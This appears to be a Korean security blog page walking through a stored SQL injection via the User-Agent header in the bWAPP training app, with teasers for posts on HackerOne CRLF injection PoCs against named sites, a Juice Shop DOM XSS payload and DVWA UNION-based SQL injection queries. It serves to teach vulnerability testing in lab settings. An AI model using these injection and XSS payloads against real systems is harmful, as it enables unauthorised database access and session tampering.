bWAPP SQL Injection - Stored [ user-Agent ]

bWAPP SQL Injection - Stored [ user-Agent ] Current : low

위 문제는 user-Agent 값을 조작하여 해결하는 문제입니다.

따라서 아래와 같이 user-Agent 값에 ' 를 삽입하여 sql 취약점을 진단합니다.

진단결과 , 아래와 같이 sql 구문 오류가 발생하면서 sql injection 취약점에 취약합니다.

따라서 정확한 sql 구문 테스트를 위해 아래와 같이 임의의 특수문자를 섞어 테스트를 진행합니다.

삽입 한 구문을 분석하면 , '192.168.25.48')' 뒤에 내가 삽입한 특수문자가 입력됩니다.

따라서 , '),'()','()',()' 는 , ',(select @@version))# 를 통해 sql 구문 삽입이 가능합니다.

위 구문 입력 결과 아래와 같이 sql injection 에 취약하여 데이터베이스 정보가 노출됩니다.

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는 HackerOne 에서 제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link : https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection 3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Resp...

자세한 내용 보기

Juice Shop XSS [ Dom based XSS ]

Juice Shop XSS [ Dom based XSS ] Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다. Payload : <iframe src="javascript:alert(`xss`)"> 다음과 같이 이는 < , > 는 < , > 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.

자세한 내용 보기

DVWA SQL Injection

DVWA SQL Injection low [그림 1] Summary [그림1] 는 SQLInjection 공격을 시도해 볼 수 있도록 개발된 폼을 제공하고 있습니다 Description [그림 1] 은 ' , # , -- ,= 등 SQLInjection 에 취약한 특수문자등을 필터링하지 않아 SQL주입이 가능합니다. Steps to reproduce ORDER BY Query 1' order by 1,2# User ID: ID: 1' ORDER BY 1,2# First name: admin Surname: admin UNION Query ' UNION SELECT 1,@@version# User ID: ID: 1' UNION SELECT 1,version()# First name: admin Surname: admin ID: 1' UNION SELECT 1,version()# First name: 1 Surname: 10.4.8-MariaDB ' UNION ALL SELECT 1,column_name from information_schema.columns# User ID: ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: user_id ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: first_name ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: last_name ID: ' UNION ALL SELECT 1,column_name from in...

자세한 내용 보기

이 블로그 검색